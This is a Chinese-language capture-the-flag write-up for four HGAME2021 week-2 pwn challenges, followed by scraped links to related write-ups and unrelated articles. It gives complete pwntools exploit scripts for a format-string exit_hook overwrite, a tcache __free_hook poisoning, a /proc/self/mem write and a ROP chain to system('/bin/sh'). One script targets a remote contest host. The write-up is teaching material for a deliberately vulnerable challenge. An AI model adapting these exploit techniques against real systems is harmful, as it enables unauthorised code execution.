HGAME2021 week2 pwn writeup
week2一共有4道pwn题
killerqueen
有格式化字符串漏洞,题不算难,但是故事情节真实让人摸不着头脑,但是仔细分析分析,理清楚逻辑就可以做了。
第一次choose1的时候,可以输入0,泄露weather,第二次choose1的时候,就可以让v1==0xFFFFFFFE,进入if分支给s输入值。这里的s的栈地址和存在格式化字符串的栈地址是共享的,并且没有偏移。
这样就有两次机会使用格式化字符串,第一次先泄露libc地址,第二次用格式化字符串进行写操作。刚开始我是打exit_hook来拿shell。后来又用了一种方法,第一次泄露libc地址的时候同时泄露一个栈地址,然后再改写返回地址的位置为one_gadgets,这样也可以做。
1 #!/usr/bin/python
2 # -*- coding: UTF-8 -*-
3 from pwn import *
4
5 p = process('./pwn')
6 elf = ELF('./pwn')
7 libc = ELF('./libc.so.6')
8 context(os='linux',arch='amd64',log_level='debug')
9
10 def duan():
11 gdb.attach(p)
12 pause()
13
14 p.sendlineafter('电话\n','0')
15 choose = 4294967294-int(p.recvuntil(':')[:-1])
16 p.sendafter('什么\n','bhxdn')
17 p.send('a')
18 p.sendlineafter('电话\n',str(choose))
19 payload = 'aaaaaaaa%47$p'
20 p.sendafter('电话号码是——\n',payload)
21
22 p.recvuntil('aaaaaaaa')
23 libc_base = int(p.recv(14),16)-231-libc.symbols['__libc_start_main']
24 print hex(libc_base)
25 exit_hook = libc_base+0x619060+3840
26 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
27 shell = libc_base+og[6]
28 payload = fmtstr_payload(6,{exit_hook:shell},write_size='short')
29
30 p.sendafter('什么\n',payload)
31 p.sendafter('什么\n','bhxdn')
32 p.interactive()
patriot’s note
ubuntu18.04下的题,很简单,泄露libc后直接打__free_hook就能出。
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 def duan():
9 gdb.attach(p)
10 pause()
11 def add(size):
12 p.sendlineafter('exit\n','1')
13 p.sendlineafter('write?\n',str(size))
14 def edit(index,content):
15 p.sendlineafter('exit\n','3')
16 p.sendlineafter('edit?\n',str(index))
17 p.send(content)
18 def show(index):
19 p.sendlineafter('exit\n','4')
20 p.sendlineafter('show?\n',str(index))
21 def delete(index):
22 p.sendlineafter('exit\n','2')
23 p.sendlineafter('delete?\n',str(index))
24
25 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
26
27 add(0x410)
28 add(0x20)
29 delete(0)
30 show(0)
31 libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00'))-libc.symbols['__malloc_hook']-96-0x10
32 print 'libc_base-->'+hex(libc_base)
33 free_hook = libc_base+libc.symbols['__free_hook']
34 shell = libc_base+og[1]
35 delete(1)
36 edit(1,p64(free_hook))
37 add(0x20)
38 add(0x20)
39 edit(3,p64(shell))
40 delete(1)
41 p.interactive()
the_shop_of_cosmos
在给了hint之后,才知道是考proc文件系统,在百度了一番之后鼓捣了出来,感觉又学到新知识了。
前置知识
/proc目录
Linux系统内核提供了一种通过/proc文件系统,在程序运行时访问内核数据,改变内核设置的机制。/proc是一种伪文件结构,也就是说是仅存在于内存中,不存在于外存中的。/proc中一般比较重要的目录是sys,net和scsi,sys目录是可写的,可以通过它来访问和修改内核的参数。
/proc中还有一些以PID命名(进程号)的进程目录,可以读取对应进程的信息。另外还有一个/self目录,用于记录本进程的信息。
/proc/self目录
由上面的可知,我们可以通过/proc/$PID/目录来获得该进程的信息,但是这个方法需要知道进程的PID是多少,在fork、daemon等情况下,PID可能还会发生变化。所以Linux提供了self目录,来解决这个问题,这个目录比较独特,不同的进程来访问获得的信息是不同的,内容等价于/proc/本进程PID/目录下的内容。所以可以通过self目录直接获得自身的信息,不需要知道PID。
/proc/self/maps
这个文件用于记录当前进程的内存映射关系,类似于gdb下的vmmap指令,通过读取该文件可以获得内存代码段基地址。
/proc/self/mem
该文件记录的是进程的内存信息,通过修改该文件相当于直接修改进程的内存。这个文件是可读可写的,但是并不能直接进行读,需要结合maps的映射信息来确定读的偏移值,无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取出内容。
也可以通过写入mem文件来直接写入内存,例如直接修改代码段写入shellcode、修改free_hook为one_gadgets等来拿shell。
利用思路
0day1可以用来读取文件,可以用这个来读取/proc/self/maps来获得libc基地址。
程序存在整数溢出,可以利用这个来修改钱,就可以使用0day2了,用0day2来写__free_hook为one_gadgets就可以拿到shell了。因为0day2最后会调用free函数。
同时,还有一种比较稳定方法是修改__free_hook-8的位置为"/bin/sh",修改__free_hook为system,这样执行free的时候,会执行system,此时的rdi正好指向binsh字符串,可以稳定的拿到shell。
1 from pwn import *
2
3 p = process('./pwn')
4 libc = ELF('./libc.so.6')
5 context.log_level = 'debug'
6
7 def duan():
8 gdb.attach(p)
9 pause()
10
11 p.sendlineafter('>> ','3')
12 p.sendlineafter('>> ','-100')
13 p.sendlineafter('>> ','2')
14 p.sendlineafter('>> ','1')
15 p.sendlineafter('>> ','/proc/self/maps\x00')
16 p.recvuntil('7f')
17 libc_base = '7f'+p.recv(10)
18 libc_base = int(libc_base,16)
19 print 'libc_base-->'+hex(libc_base)
20 print 'puts-->'+hex(libc.symbols['puts'])
21
22 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
23 shell = libc_base+og[5]
24
25 p.sendlineafter('>> ','3')
26 p.sendlineafter('>> ','1')
27 p.sendlineafter('>> ','/proc/self/mem\x00')
28 p.sendlineafter('>> ',str(libc_base+libc.symbols['__free_hook']))
29 p.sendlineafter('>> ','8')
30 p.sendafter('>> ',p64(shell))
31 p.interactive()
参考文章:https://www.anquanke.com/post/id/218886#h3-13
rop_primary
先算两个矩阵相乘,然后就可以rop了,第一次做的时候用system怎么都做不出来,但是用ROPgadget做出来了。后来在system加了一个ret,发现可以打通了,应该是栈对齐的问题。(只知道这么多,具体细节可以参考ex师傅的博客:http://blog.eonew.cn/archives/958)
1 from pwn import *
2 from LibcSearcher import *
3
4 context(os='linux',arch='amd64',log_level='debug')
5 elf=ELF('./pwn')
6 puts_plt_addr=0x401040
7 vuln_addr=0x40157B
8 pop_rdi=0x401613
9 libc_start_main_got_addr =0x403fe8
10 p=remote('159.75.104.107',30372)
11 puts_addr=0x404020
12 putchar_addr=0x404018
13 puts_got = 0x000404020
14
15 ha=0
16 hb=0
17 lista=[]
18 listb=[]
19 p.recvuntil('A:\n')
20 a = p.recvline()
21 la=a.count('\t')
22 while 1:
23 if a == 'B:\n':
24 break
25 else:
26 lista1=[]
27 i = 0
28 while 1:
29 try:
30 lista1.append(a.split("\t")[i])
31 i += 1
32 except:
33 break
34 lista.append(lista1[:-1])
35 ha+=1
36 a = p.recvline()
37
38 b = p.recvline()
39 lb=b.count('\t')
40 while 1:
41 if b == 'a * b = ?\n':
42 break
43 else:
44 listb1=[]
45 i = 0
46 while 1:
47 try:
48 listb1.append(b.split("\t")[i])
49 i += 1
50 except:
51 break
52 listb.append(listb1[:-1])
53 hb+=1
54 b = p.recvline()
55 for i in range(ha):
56 for j in range(lb):
57 num=0
58 for k in range(la):
59 num+=int(lista[i][k])*int(listb[k][j])
60 p.sendline(str(num))
61
62 p.recvuntil('try your best\n')
63 payload=0x30*'A'+8*'A'+p64(pop_rdi)+p64(puts_got)+p64(puts_plt_addr)+p64(vuln_addr)
64 print(payload)
65 p.sendline(payload)
66 libc_start_main_addr = u64(p.recv(6).ljust(8,'\x00'))
67 libc = LibcSearcher("puts", libc_start_main_addr)
68 print "__libc_start_main_addr: " + hex(libc_start_main_addr)
69 libcbase = libc_start_main_addr - libc.dump("puts")
70 print(hex(libcbase))
71 system_addr = libcbase + libc.dump("system")
72 binsh_addr = libcbase + libc.dump("str_bin_sh")
73 print "system_addr: " + hex(system_addr)
74 print "binsh_addr: " + hex(binsh_addr)
75 p.recvuntil('try your best\n')
76
77 ret = 0x00401260
78 p.sendline('A'*0x38+p64(pop_rdi)+p64(binsh_addr)+p64(ret)+p64(system_addr))
79 #og = [0xe6c7e,0xe6c81,0xe6c84]
80 #shell = libcbase+og[0]
81 #pop_r12_r13_r14_r15 = 0x000040160c
82 #p.sendline('A'*0x38+p64(pop_r12_r13_r14_r15)+p64(0)*0x4+p64(shell))
83 p.interactive()
后记
题目还行,感觉the_shop_of_cosmos那道题出的挺好的,学到东西了。第二周over!
HGAME2021 week2 pwn writeup的更多相关文章
- HGAME2021 week4 pwn writeup
第四周只放出两道题,也不是很难. house_of_cosmos 没开pie,并且可以打got表. 在自写的输入函数存在漏洞.当a2==0时,因为时int类型,这里就会存在溢出.菜单题,但是没有输出功 ...
- HGAME2021 week3 pwn writeup
一共放出五道题,都不是很难. blackgive 考栈转移,值得注意的一点是转移过去先填充几个ret,因为如果直接在转移过去的地方写rop链,执行起来会覆盖到上面的一些指针,导致程序不能正常输入和输出 ...
- Jarvis OJ - 栈系列部分pwn - Writeup
最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...
- 攻防世界新手区pwn writeup
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...
- ISCC2018 Reverse & Pwn writeup
Reference:L1B0 Re RSA256 春秋欢乐赛原题..flag都不变的 给了三个加密文件和公钥证书public.key,可以使用openssl进行处理 $openssl rsa -pub ...
- 虎符2021线下赛pwn writeup
jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...
- NepCTF pwn writeup
上周抽时间打了nepnep举办的CTF比赛,pwn题目出的挺不错的,适合我这种只会一点点选手做,都可以学到新东西. [签到] 送你一朵小红花 64位程序,保护全开. 程序会在buf[2]处留下一个da ...
- 2020ACTF pwn writeup
为了打2021的ACTF,想着把2020年的pwn题做一做吧,发现2020年的pwn题质量还挺高的.反倒是2021年的题目质量不太高,好像是没有专门的pwn师傅出题,可以理解,毕竟办校赛,说白了就是用 ...
- SWPUCTF 2019 pwn writeup
来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...
随机推荐
- [hdu6316]Odd shops
记$m=10$,即商品的种类 记$g(x)=1+\sum_{i=1}^{m}a_{i}x_{i}$,问题即求$f_{n}(x)=g^{n}(x)$非0项数(模2意义下) 注意到$f^{2}(x)\eq ...
- IDEA修改XML注释风格
作为一个强迫症患者,每次想在xml文件用快捷键注释的时候,它自动生成的注释一直都是这样的:这令我非常难受,于是每次我都要把光标移到前面,然后再Tab以下,让它变成这样可是每次都这样,好麻烦啊,如果自己 ...
- 第三方登陆-qq互联
看到很多网站都有第三方登陆,使用业余时间自己也要实现一个第三方登陆的功能: 1.登陆qq互联的网站:https://connect.qq.com/index.html 2.点击头像进行资料申请 --- ...
- Trie树(字典树,单词查找树)详解+题目
什么是字典树? 叫前缀树更容易理解 字典树的样子 Trie又被称为前缀树.字典树,所以当然是一棵树.上面这棵Trie树包含的字符串集合是{in, inn, int, tea, ten, to}.每个节 ...
- Apache发布支持Java EE微服务的Meecrowave服务器
Apache OpenWebBeans团队希望通过使服务器适应用户来消除复杂性.所以,该团队发布了Apache Meecrowave项目1.0版. Apache Meecrowave是一款小型服务器, ...
- 矩阵树定理&BEST定理学习笔记
终于学到这个了,本来准备省选前学来着的? 前置知识:矩阵行列式 矩阵树定理 矩阵树定理说的大概就是这样一件事:对于一张无向图 \(G\),我们记 \(D\) 为其度数矩阵,满足 \(D_{i,i}=\ ...
- 洛谷 P4062 - [Code+#1]Yazid 的新生舞会(权值线段树)
题面传送门 题意: 给出一个序列 \(a\),求 \(a\) 有多少个子区间 \([l,r]\),满足这个区间中出现次数最多的数出现次数 \(>\dfrac{r-l+1}{2}\) \(1 \l ...
- cookie的生命周期、访问限制、作用域、prefixes
cookie的生命周期 cookie的生命周期可以通过两种方式定义: 会话期cookie是最简单的cookie:浏览器关闭后会被自动删除.会话期cookie不需要指定过期时间(Expires)或者有效 ...
- 【宏基因组】MEGAN4,MEGAN5和MEGAN6的Linux安装和使用
MEGAN(Metagenome Analyzer)是宏基因组学进行物种和功能研究的常用软件,实际上现在的Diamond+MEGAN6已经是一套比较完整的物种和功能注释流程了. 但是由于各种原因,我们 ...
- C语言 序列反向互补函数
1 static char *revers(char *s) 2 { 3 int len=strlen(s); 4 char *s2=(char *)malloc(sizeof(char)*(len+ ...